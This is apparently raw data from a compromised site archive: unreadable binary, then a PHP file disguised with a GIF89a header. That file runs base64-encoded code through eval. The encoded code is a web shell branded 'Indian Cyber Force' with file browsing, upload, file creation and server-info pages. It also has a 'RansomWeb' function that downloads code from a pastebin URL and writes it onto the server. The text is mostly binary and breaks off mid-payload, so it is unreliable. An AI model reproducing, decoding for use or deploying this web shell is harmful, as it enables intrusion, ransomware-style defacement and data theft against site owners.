�~{����j��;�y*焮Z�J�\\陚̡��d��i��M�]�k7�2�>_1<vB�Y&U:^��7M;7z�w5��\\x���/�y7c��ce7��(';�L��E�VR��O?^�(,��&�̮&qp覉���[mR���ٵA��OI��u+S{�ŵ��+��b���o~�Ϯ�t]�3���F���u��� �\\�YW�K�/Y�XB���g\"uKv�C)&�Y�j,z8���)���[�t�y�.�o��=����,����zc��Uk2���Ϥk��&�\\[8h�s���{N!���K�%ݥ۠�FR;�'j�S�r���Y��R�^���ǩG_�je
�\\�e�@|��b�U[��K���j쯋�&��e�n�ߦ�Ytwx �܃�B`s�c�������x<o����}q��e@f�̿�W�JW���^���w=�
`#Gg�Oc�-����Ѿ��'1��Ϧ2��5�����`2D���H�,���K�3W��RB�=E�1���D�ud�fD��L\$M��q˥bab����A�Q~�Ts'�Fe�6P<ˤ��{ҎTS�� ��������Ǣ�*H#� ��A���U��:/���@�lo�;�kt��O���ybט��@��3`Hg����Im��U�O��..�ض3�P�����A�BW��f�3����]C�SE�������h8z����)���õ�������S. ���h�1#��k����l7N/#-�A��^�#�FT���~��_�!�Ӈ���}�m�Ub�����(���(�`;��DC�v�l �lc�{��tR�����C)��[(�T��?-�� &���@�h(~�vʂ/U���\"��Q�����&k���u~���F\\:.�%yD+yU��y8I59Y��T^~��\"�Q�z7g`e�T z�%�%�N�LU���p�4�e�+&1�\$u�Ay\$_��ա~�>:_��ZԎd��!ۅ�4��d.X7ن��^-ָ�l���\\I�5��gW�#AT���
�fxM��Nr�M�풸b���8fɢ��n^N´�d/,,��2�!�B8ܯ�pc��������sp~���WI�!�w�8+�&`�5�*�
���r�`�Xw���5)M�ĦR2�rM��\$^�ƈ��ggTl��4�
�fZf���>��|1�c��Pl�r��|�Z��K1DM_���C���Vcdk�8V@����m������x�\">Y���1�:Y�����s ��X�U��H�4k����\\��w���F��-,v��D�G���(&�{o����U��v���-�pB��&<��`�o��9��N�a%MI&���S��A���2]_c��R\\�s�}�eQ�S]ZU7���!f'v���G���M%�`+�4�vÿ��)V���(
u�h�pN!b1�<:r+����� �����C,��Q����ICI=ݔr���Ζ�Ƹ�BB��\\�AEP{��[T�Tr?�K��vo\\O�o�2�3u������a�pol���p���N�C�@סD� v_gyo�[�XY7�S
n\\Me�VVu #��pY��K�����z��4�'��S�Y2!�q\\ݞ���d&����̥�^���M�#X��dw�����Wo�KK�K���j\\�X�Ǎ�\"='`�c�g_u_K5>�}suN��S��҈Lũ!A �E��M0����K6ys��F��E��W�Ĥ�j��lE���-�/ƿ�h��ݿ�.�/O�c,�֯@V�کu����?&�A����Ӂ�(��s:���G',f�c�����j��u�w�6&Ao�?n���3%Sw�W&�I��5b�3oPqm�;��o�`�Ͼ�P�
�h_�
�a4o��
�uO%d����d��>��^ܜx[]�\"5_r���k{���ͅ\\�w �2��K�Bk�><�5�z��`�zf���rF*u��9�k�%���?a ������Mܸ6fY��t��U�R�w�� C��F*=_��T�[Ǐq�Ֆ��2jİ�@�}k��֣}��L��Q��V������Q�X��y��%���6>��%|OmiV�P{\\`^{�Ƚ����v�j\\�)�:��ڛ��:M�h2'\\'Ƹ42!z�C[@����@>_���u���m�T�,��7#�����^����2\"�'���)��P�@X͋�`Z �j��t����:��! m�*wr�`�,�t�b���R5z����\\�?s��e`����xD��m�}�H V�
B7�m)k�:��� �Ռ����.6Xs#��G���S� �ϻ�J@<�/徤����W��ؗ�Ʊ�0��p�9�F�+�N��r\$�_��ݺm�Y}��~~x�?�����R�
�ح�G�\"��L�o����ggrD��\\�F�s�'�E~�����ͯ�a���4_>��
�jMLU��S��z+�<О�@��|��M�Ժ/U �~k�C`ͻ��D���:��(ҹ�A?u�X{?hl[��ξ��w`�>��ʮR^��\"X��x
p�R���9�T���^薾�x�4աC[U�>���;��Ƨ�F� �\\94����Ƴ/Gr�9:h��oQ 9䙹�xK��u���l_N78c�%���ɡ�u||@����Sn��pӤ;B�1������U h�|A�eD\\���|�`�1 9�?����+WJ9��\"�
��c����'?��+hj��A�\$�wE�P��A���Ⱥy�/��|�P��9�Mj��C���.�&?�z�h���#��wsz�<H�[��H�k�^pݬQ@!��n�eaD��|ݶp:�)�w�l9r@M�'k�g�=ɏ(c��/��,�Ps�3˶��qn�����'j��i7ٕpC\\�7c�yn��b\\���)L��~�\\���.B�eXv��pFӡ�;�dwC��߱�ߥ>��k[�v��H5��t�m��ܫ�F�%@�[Z�/�%�E%/�ӹ<9ꚳ����������Q��ީ�۳����@�i��&�~3�M���0S���K��^�0�����Qq�(���^|j*�Rs��'C�V�K3��7�H��'�Ղ�%�eo�̄07:�Y���=uI�f� �&�4����w�P�Uocemnnif���7Δ=����;�̏���4C,F�0�N�pJ�BZb��fd1'T�g�i�u�t���\"�1��Dp�!�M9?��}P�Tf���6Q;���(4��v/kL+�N�Ȓ����u��nJu`���tZ�Kԛ���xfZ#��U�s�Lֺtbp��T�ۥRʧ�=�����Ry�-v]B�i���C�+�
v,��b�=s�\"Γ�]���gy�,��ӕ�A'���\"���I��D{�K-
^h�O��U4\"u��1�'���ts��6��]�fIC^�
�N�����k�J�C�����
rΕ�i�E�� �s7fϼ��Q��(u���� UJ����{Z9ƾϠh�n�ҵ�Y��D���%݃��@�[�u�uP�@���
<3?�m��,픫��{� �7zWq��?j:���q����U���X.��х:>m�\$��0���o .�
Z�D�3p���,���8������ϒ��p��:#>Qk��_EwY���QsC��+�J�\$�h��_!��[z%�B�5����z�\\U�\\̷��!1���ؒ2�(�/>��z��UA�v���ɀ��c���^`͢@��E�}�;�h�ވ��{�:�%��\\��+}o_���H?��5��\\��^o[���剂��[�p��týp֟�\"f�}6\"ZW�vIake��z�ٯſS����?\"����h�7&yo��\"[�}�/�f�+p2G��l[������!3��)
����iQ>�jw�l3���=)��,�=/.�ޖ��u����?�y�y�Ourb2|m��DS�tE�{\\�F����&��M��cw�E�;�#�E�2n�ف�ݮ �yr-7A!ŹYm�I/�0P����R���9dn��Ϝ���pˎ`�sS�R�;��g�'<j�> ,�O� \"��@��lߍ7
��.�Og��8����J��*�2���� N�Cz������R�/��#����n�0�_D]BDA��ᶐz��K?�����Q7<�T衰�YS*<D�\"1☷��
����O���M�'\$���-ɠ�k��*MZ\\�ځf/�w��+���@-������H]K=Ш>g.,2�3+��玺
�q�ヌՠv���
��5�3j�!�8�9"));__halt_compiler();�����������Ў��Ǎ��
Ж�����Ӑ��������������������Ļ�����乬�����ʨ�����������������������
�ķ�ـΧ�
ޛ�ݑ�����������ڃ���͞��������Ǜ���鏌��������϶�Ƒ�����������ˬޗ��³ȋ�� ��ᴫ����������ҍ�
�����������ҍ���۩�
�Ֆ��������� ��Ə���A.�Đ�-�MW=�̕�>��J�\6�����XǺ�
��� �wg ��S����qc�/��DS����_���A�ۘO{��J1�]\qPWF����Z'e|��s*_ӶoR����-���k҄wq|�G��ٗE�%�[��8{t�A�_������V6}RCߛ_ꍁL^0��<@*D���"Y�k�79q�������^�:��_V��A���t�|�F+y^�h�B��G�Ga��۷h��%X��K�iB��b�2��a:N� \Q�l0�s&���˙���>٤3cpo��ds��$�;�B\�C ����LK�H�տ1��
�,�yO�+Y�ވZ����@������>4� /)omXF��0�v�e9 \D�2���nn��h�@�Fq���D-zQ��;h����A$�F��K�ѯ `3�'ތ��>�zM3C�1O�mME<zvy,^����ǛV�y�j?���+��sr�K�L������"��`N~�KB����B�2�}B��NS����ar���zb0ɽ��l�c�� �ǫ6>S��B`���K��%��DY���i�)7%_>�_ƃ�EՃ�ћ���I?B�ą)�K�J�E�=��^�(���,����ox�������]�[�$���s^�0ٕ9�\<��L�ox�v+\"�h��<mh.�������oy��k��N�v����v}8�
�!�=K8����-{%��q��M��i�4�O���n\?5B
8e��� ��'��1w�Y-M{��r^C����g������
}��VF�X��j����R��y6�΄-�7�E�K����2��#W/#�����<'�O�1��K��ú�Qo�(ͻ�Wh���դ�Ǿ�c&IF+���̡��_Ի��2y�?�Дc�KBWp>�G�#�ʃ`�� ��k)�#���՟�a�d��i�$�[�M�L���@��ٯ���M
q1�Կ��p>v��̬d��$Y�N�%7����H�XUy5�I
-�N��U�����l`.�G���߆^�$��������Z�~�8�e_��/��=k�g�7�����K�
��D��E
�P9/��$>�VP�\(�r�Q{�V(�P����Fqq0�lA>��ֻY ����)/�[]�@���[���3�wα�v�Fj�}���a�˽`�B�qF�}>��X��|-ԓ�Ոf�u�������_n�5]+�tm����9 ]�-Dw6�5�?�-��]s"+(C�|e(�y���~44�'�)M~��O�u=�B=U��b��x��\��c��#D-iB��o��^�"Z�T'�u^m6��+Y��t��gT*ɜ�ҿ*����uX�+Eӫ��=�X*��xudW��>�6�����Z�&���\� x�,�#�m���x�*�
�z�����f�xAN�<�ͱ�AW��<s|s[���bYF]��x+"�
�Ь��迍QP3۪�l{�m�㶸��z��f�
~*[_4��V.���|T9���9�9���}�{ˠ�7_�4��ѩ<� �����`�n�E��u��I��0"�4�����|���N���)�x_%x���o�J}t�($P��D�KUk��}���Hψ�)�$ǎmf�JAT�@L�Q�#�$
�}�s� XE+x�ڒ2�:"fm8��ܩ�_.�2H�iXWD�O�?dGL<�Z;2�&��*�f &H<�Wr�N�n�K}�cQ%w�����;��E��w�����8#�`Ka�XoZIM�N'.�r�'S�j_v�[q6}=>�jQ ���"<�ꦽ�V��˷p�-����g�=ø�X@v�/^����(�Wx�|��VhԠ:i�iK0l�E2_�N�jZ��0�1�i�&�݉jx����"J�4M�%��gU�\6�T~$��/��&q�n�K��d8��@e������U��,4}G�h��(pZ4!Y<I�HD�~=P�#n��(*T�x�.�O�#5x�RTx��Lj��:����߮|6Dc�PK �9m\ �]��W �W pbyk4.phpnu �[��� GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>php</title>
<?=eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9
InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut
d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy
ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v
Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQt
TUN3OTgvU0ZuR0U4ZkpUM0dYd0VPbmdzVjdadDI3TlhGb2FvQXBtWW04MWl1WG9Qa0ZPSndKOEVS
ZGtuTFBNTyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8bGluayByZWw9InN0eWxlc2hl
ZXQiIGhyZWY9Imh0dHBzOi8vdXNlLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS43LjEvY3Nz
L2FsbC5jc3MiIGludGVncml0eT0ic2hhMzg0LWZubU9DcWJUbFdJbGo4THlUam83bU9VU3Rqc0tD
NHBPcFFicXlpN1JyaE43dWRpOVJ3aEtrTUhwdkxiSEc5U3IiIGNyb3Nzb3JpZ2luPSJhbm9ueW1v
dXMiLz4KICA8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+CiAgPHN0eWxl
Pgpib2R5IHsKICBvdmVyZmxvdy14OiBoaWRkZW47Cn0KLmljbyB7d2lkdGg6MjBweDt9Ci5pY28y
e3dpZHRoOjIwcHg7fQojc2lkZWJhci13cmFwcGVyIHsKICBtaW4taGVpZ2h0OiAxMDB2aDsKICBt
YXJnaW4tbGVmdDogLTE1cmVtOwogIC13ZWJraXQtdHJhbnNpdGlvbjogbWFyZ2luIC4yNXMgZWFz
ZS1vdXQ7CiAgLW1vei10cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICAtby10cmFu
c2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICB0cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBl
YXNlLW91dDsKfQoKI3NpZGViYXItd3JhcHBlciAuc2lkZWJhci1oZWFkaW5nIHsKICBwYWRkaW5n
OiAwLjg3NXJlbSAxLjI1cmVtOwogIGZvbnQtc2l6ZTogMS4ycmVtOwp9Cgojc2lkZWJhci13cmFw
cGVyIC5saXN0LWdyb3VwIHsKICB3aWR0aDogMTVyZW07Cn0KCiNwYWdlLWNvbnRlbnQtd3JhcHBl
ciB7CiAgbWluLXdpZHRoOiAxMDB2dzsKfQoKI3dyYXBwZXIudG9nZ2xlZCAjc2lkZWJhci13cmFw
cGVyIHsKICBtYXJnaW4tbGVmdDogMDsKfQoKQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7CiAg
I3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogMDsKICB9CgogICNwYWdlLWNvbnRl
bnQtd3JhcHBlciB7CiAgICBtaW4td2lkdGg6IDA7CiAgICB3aWR0aDogMTAwJTsKICB9CgogICN3
cmFwcGVyLnRvZ2dsZWQgI3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogLTE1cmVt
OwogIH0KfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGlkPSJwYWdlLWNvbnRl
bnQtd3JhcHBlciI+CgogICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBu
YXZiYXItbGlnaHQgYmctbGlnaHQgYm9yZGVyLWJvdHRvbSI+CiAgICAgICAgPGJ1dHRvbiBjbGFz
cz0iYnRuIGJ0bi1wcmltYXJ5IiBpZD0ibWVudS10b2dnbGUiPjxpIGNsYXNzPSJmYSBmYS11c2Vy
Ij48L2k+PC9idXR0b24+CgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0
eXBlPSJidXR0b24iIGRhdGEtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS10YXJnZXQ9IiNuYXZiYXJT
dXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBh
cmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAg
ICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10b2dnbGVyLWljb24iPjwvc3Bhbj4KICAgICAgICA8
L2J1dHRvbj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBp
ZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CiAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1u
YXYgbWwtYXV0byBtdC0yIG10LWxnLTAiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVt
IGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/Ij5Ib21l
IDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPgogICAgICAgICAgICA8
L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgIAo8P3Bo
cAppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7
CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7
CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goICRwYXRocyBhcyAkaWQgPT4g
JHBhdCApewppZiggJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCApewokYSA9IHRydWU7CmVjaG8gJ+Ck
teCksOCljeCkpOCkruCkvuCkqCDgpKjgpL/gpKbgpYfgpLbgpJUgPT4gPGEgaHJlZj0iP3BhdGg9
LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZiggJHBhdCA9PSAnJyApIGNvbnRpbnVlOwplY2hvICc8
YSBocmVmPSI/cGF0aD0nOwpmb3IoICRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKXsKZWNobyAiJHBh
dGhzWyRpXSI7CmlmKCAkaSAhPSAkaWQgKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9h
Pi8nOwp9Cj8+CiAgICAgICAgICAgICAKICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxp
IGNsYXNzPSJuYXYtaXRlbSBkcm9wZG93biI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1s
aW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iIyIgaWQ9Im5hdmJhckRyb3Bkb3duIiByb2xlPSJi
dXR0b24iIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1l
eHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAg4KS44KWC4KSa4KSo4KS+IOCkj+CkteCk
giDgpIXgpKrgpLLgpYvgpKEKICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgPGRpdiBj
bGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IiBhcmlhLWxhYmVsbGVkYnk9
Im5hdmJhckRyb3Bkb3duIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVt
IiBocmVmPSI/aW5mbyI+SW5mbyBTZXJ2ZXI8L2E+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz
PSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAg
ICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0
YSI+CiAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+PGlucHV0
IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iVXBsb2FkIj4KICAgICAgICAgICAg
ICAgPC9mb3JtPgogICAgICAgICAgICAgICA8L2NlbnRlcj4KICAgICAgICAgICAgICA8L2Rpdj4K
ICAgICAgICAgICAgPC9saT4KICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgIDwv
bmF2PgogPGRpdiBjbGFzcz0iZC1mbGV4IiBpZD0id3JhcHBlciI+CiAgICA8IS0tIFNpZGViYXIg
LS0+CiAgICA8ZGl2IGNsYXNzPSJiZy1saWdodCBib3JkZXItcmlnaHQiIGlkPSJzaWRlYmFyLXdy
YXBwZXIiPgogICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLWhlYWRpbmciPjxpIGNsYXNzPSJmYXMg
ZmEtdGFjaG9tZXRlci1hbHQiPjwvaT48YSBocmVmPSI/IiBjbGFzcz0idGV4dC1kYXJrIj4gSW5k
aWFuIEN5YmVyIEZvcmNlPC9hPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJsaXN0LWdyb3VwIGxp
c3QtZ3JvdXAtZmx1c2giPgogICAgICAJPD9waHAKICAgICAgCWVjaG8gIjxhIGhyZWY9Jz9wYXRo
PSRwYXRoJmFrc2k9YnVhdGZvbGRlcicgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3Vw
LWl0ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZvbGRlci1vcGVuJz48L2k+
IEZvbGRlcnMg4KSw4KSa4KSv4KSo4KWN4KSk4KWBPC9hPgogICAgICAJPGEgaHJlZj0nP3BhdGg9
JHBhdGgmYWtzaT1idWF0ZmlsZScgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3VwLWl0
ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZpbGUnPjwvaT4g4KS44KSe4KWN
4KSa4KS/4KSV4KS+4KSCIOCksOCkmuCkr+CkqOCljeCkpOClgTwvYT4KICAgICAgCTxhIGhyZWY9
Jz9wYXRoPSRwYXRoJmFrc2k9cmFuc29tJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3Jv
dXAtaXRlbS1hY3Rpb24gYmctbGlnaHQnPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlh
bmdsZSc+PC9pPiBSYW5zb21XZWI8L2E+IjsKICAgICAgCT8+CiAgICAgICAgPGEgaHJlZj0nP2tl
bHVhcj10cnVlJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24g
YmctbGlnaHQnPjxpIGNsYXNzPSdmYXMgZmEtc2lnbi1vdXQtYWx0Jz48L2k+IOCksuClieCkl+Ck
huCkieCknzwvYT4KICAgICAgICAKICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgPGRpdiBj
bGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAKICAgICAgICAKPD9waHAKaWYoJF9HRVRb
IuCkrOCkueCkv+CkgyDgpJfgpJrgpY3gpJvgpKTgpYEiXSA9PSB0cnVlKXsKdW5zZXQoJF9TRVNT
SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CgllY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsKfQppZigkX0dFVFsnYWtzaSddID09ICdidWF0Zm9sZGVy
Jyl7CglmdW5jdGlvbiBoYWkoKXsKCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ0ZvbGRlciDgpLjgpKvgpLLgpKTgpL4g4KSV4KWD4KSk4KS+
IScpPC9zY3JpcHQ+IjsKCX0KCWlmKGlzc2V0KCRfUE9TVFsiZm9sZGVyc3MiXSkpewoJCSRuYW1h
X2ZvbGRlciA9ICRwYXRoLicvJy4kX1BPU1RbIm5hbWFGIl07CgkJbWtkaXIoJG5hbWFfZm9sZGVy
LGhhaSgpKTsKCX0KCQkKCWVjaG8gJwoJPGRpdiBjbGFzcz0icm93IG10LTMiPgoJCTxkaXYgY2xh
c3M9ImNvbCI+CgkJCTxmb3JtIG1ldGhvZD0icG9zdCI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0ibmFtYUYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xkZXI9Ik5hbWEgRm9s
ZGVyIj4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0
IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIiB2YWx1ZT0iQnVhdCIg
bmFtZT0iZm9sZGVyc3MiPjwvZm9ybT4KCQkJCTwvZGl2PgoJCQkJPC9kaXY+JzsKfWVsc2VpZigk
X0dFVFsi4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ3JhbnNvbScpewoKCSR1cmwgID0gImh0
dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MYlZoTm5aRiI7CiAgJGN1cmwgPSBjdXJsX2luaXQoJHVy
bCk7CiAgCQkJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUp
OwogICRnZXQJPSBjdXJsX2V4ZWMoJGN1cmwpOwogaWYoISRnZXQgPT0gIiIpewokcHV0cyA9IGZv
cGVuKCJSYW5zb21XZWIucGhwIiwidyIpOwoJCQkJZndyaXRlKCRwdXRzLCRnZXQpOwoJCQkJZmNs
b3NlKCRwdXRzKTsKJG5hbWFfZmlsZSAgPSAiUmFuc29tV2ViLnBocCI7CiRzZXJ2ZXJfd2ViID0g
J2h0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nLyc7CmlmKCRwdXRzID09IHRydWUpewoJ
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pLjgpKvgpLLgpKTgpL4nKTwvc2NyaXB0PiI7Cn1lbHNlewoJZWNobyAi4KSF4KSo4KWB4KSk4KWN
4KSk4KWA4KSw4KWN4KSj4KSDIOCkqOCkv+CksOCljeCkruClgOCkr+CkpOCkvuCkruCljeKAjCBG
aWxlIjsKCX0KfWVsc2V7CgllY2hvICJOb3QgRm91bmQhISI7Cn0KCgkKfWVsc2VpZigkX0dFVFsi
4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ2NyZWF0ZWZpbGUg4KSH4KSk4KS/Jyl7CglpZihp
c3NldCgkX1BPU1RbIuCkleClg+CkpOClhyJdKSl7CgkkbmFtYUYgPSAkcGF0aC4nLycuJF9QT1NU
WyLgpLjgpJ7gpY3gpJrgpL/gpJXgpL5f4KSo4KS+4KSuIl07CgkkaXNpID0gJF9QT1NUWyLgpLXg
pL/gpLfgpK/gpIMiXTsKCSRidWF0ID0gZm9wZW4oJG5hbWFGLCJ3Iik7Cglmd3JpdGUoJGJ1YXQs
JGlzaSk7CglmY2xvc2UoJGJ1YXQpOwoJaWYoJGJ1YXQgPT0gVFJVRSl7CgkJZWNobyAiPHNjcmlw
dD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpLjgpKvgpLLgpKTg
pL4nKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyEh
IScpPC9zY3JpcHQ+IjsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9Im10LTMi
PgoJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xk
ZXI9Ik5hbWEgRmlsZSIgbmFtZT0ibmFtYV9maWxlIj4KCQk8dGV4dGFyZWEgY2xhc3M9ImZvcm0t
Y29udHJvbCBtYi0zIiByb3dzPSI4IiBuYW1lPSJpc2kiIHBsYWNlaG9sZGVyPSJJc2kgRmlsZSI+
PC90ZXh0YXJlYT4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidWF0IiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkiIHZhbHVlPSJCdWF0Ij4nOwp9ZWxzZQppZihpc3NldCgkX0dF
VFsiaW5mbyJdKSl7CmVjaG8gJwoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBtdC0z
Ij4KCQk8aDMgY2xhc3M9InRleHQtY2VudGVyIj7gpLjgpYLgpJrgpKjgpL4gU2VydmVyPC9oMz48
aHI+CgkJPGxpPk5hbWEgU2VydmVyIDogJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nPC9saT4K
CQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+CgkJPGxp
PlBvcnQgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLic8L2xpPgoJCTxsaT7gpKrgpY3gpLDg
pYvgpJ/gpYvgpJXgpYngpLIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4K
CQk8bGk+U2F2ZSBEYXRhIDogJy4kX1NFUlZFUlsiSFRUUF9TQVZFX0RBVEEiXS4nPC9saT4KCQk8
bGk+4KS44KSC4KSs4KSo4KWN4KSn4KSDIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0u
JzwvbGk+CgkJPGxpPlNvZnR3YXJlIDogJy4kX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0uJzwv
bGk+CgkJPGxpPkRva3VtZW4gUm9vdCA6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nPC9s
aT4KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8
L2xpPgoJCTxsaT5SLU1ldGhvZCA6ICcuJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0uJzwvbGk+
CgkJPGxpPllvdXIgQnJvd3NlciA6ICcuJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLic8L2xp
PgoJCTwvZGl2Pic7Cn1lbHNlIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRf
RklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1l
J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFs
